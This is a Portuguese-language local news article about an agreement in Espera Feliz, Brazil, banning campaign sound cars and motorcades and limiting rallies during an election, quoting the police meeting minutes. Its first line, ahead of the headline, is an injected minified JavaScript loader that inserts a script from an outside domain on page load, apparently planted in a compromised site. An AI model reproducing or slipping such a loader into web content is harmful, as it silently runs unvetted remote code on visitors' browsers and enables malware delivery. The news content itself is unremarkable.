;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Espera Feliz: Está proibida a utilização de carro de som como propaganda política. - Portal Carangola

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Espera Feliz: Está proibida a utilização de carro de som como propaganda política.

A reunião desta quara-feira (19) entre a Polícia Militar de Espera Feliz e os candidatos a prefeitos e presidentes das coligações aconteceu na tarde desta quarta-feira (19) com o objetivo de explicar que fica proibido em Espera Feliz a utilização de carros de som com propaganda política. O definição está descrita na Lei 9504/1997 e na Resolução 23.370 do Tribunal Superior Eleitoral. O artigo 39, § 3º, incisos I a III da Lei 9504/97 discorrem sobre ser vedada a instalação e uso de alto-falantes ou amplificadores de som em distância inferior a 200 (duzentos) metros das sedes dos Poderes Executivo, Legislativo e Judiciário, dos quartéis militares, dos hospitais, casas de saúde, das escolas e igrejas, em Espera Feliz, Distritos e Povoados.
Leia os trechos da ata da reunião:
Falou o artigo 39, § 3º, incisos I a III da Lei 9504/97 que veda a instalação e uso de alto-falantes ou amplificadores de som em distância inferior a 200 (duzentos) metros das sedes dos Poderes Executivo, Legislativo e Judiciário, dos quartéis militares, dos hospitais, casas de saúde, das escolas e igrejas; 2) que no Município de Espera Feliz, bem como seus Distritos e Povoados, pouquíssimos serão os locais que não terão a presença de um dos órgãos ou instituições previstos no dispositivo legal referido e, como tal, não será permitida a utilização de alto-falantes; 3) explanou que o efetivo da Polícia Militar de Espera Feliz está muito reduzido para dar apoio ao pleito eleitoral, os candidatos se comprometerão em marcar seus comícios em dias diferentes para que a Polícia Militar possa dar a segurança necessária ao público presente e aos candidatos e dessa forma evitar que eleitores exaltados de lados opostos se encontrem em ruas, rodovias e estradas vicinais, e aconteçam conflitos, caso os comícios sejam na mesma data. Ficou acordado que as datas que coincidirem serão realizadas por sorteio; 4) Desta forma propôs  a todos os participantes o seguinte acordo que: não será utilizada aparelhagem sonora de qualquer espécie para a divulgação de propaganda eleitoral, em que se faça menção, direta ou indiretamente, a candidatos, partidos políticos ou campanha política, no período eleitoral, em veículos, qualquer que seja a tração, no âmbito do município de Espera Feliz, seja na zona urbana ou rural do município, nos limites da legislação eleitoral que será rigorosamente fiscalizada; 5) Fica estipulado que não serão realizadas, no período destinado à propaganda eleitoral, carreatas, motociatas, cavalgadas ou atividades políticas semelhantes, ficando livre o direito de passeatas; 6) Fica estipulado a queima de fogos de artifício fica expressamente proibida em via pública, ressalvados nos comícios, que será efetuada por uma única pessoa que será definida pela coligação em local seguro;  7) Os comícios serão realizados, porém serão no máximo dois por dia, contudo em locais e horários diferentes, em virtude da carência de efetivo da PM; …
Foi proposto este acordo aos presentes, sendo aceito totalmente, pelos presentes, sendo que cópia desta ata será encaminhada ao Juiz eleitoral e para o representante do Ministério Público para conhecimento e fiel cumprimento, agradecendo a todos pela participação deu a reunião por encerrada, sendo lavrada a presente ata, que será assinada por quem de direito, fazendo parte como Anexo Único a lista de presença.

Informação: Gazeta Regional


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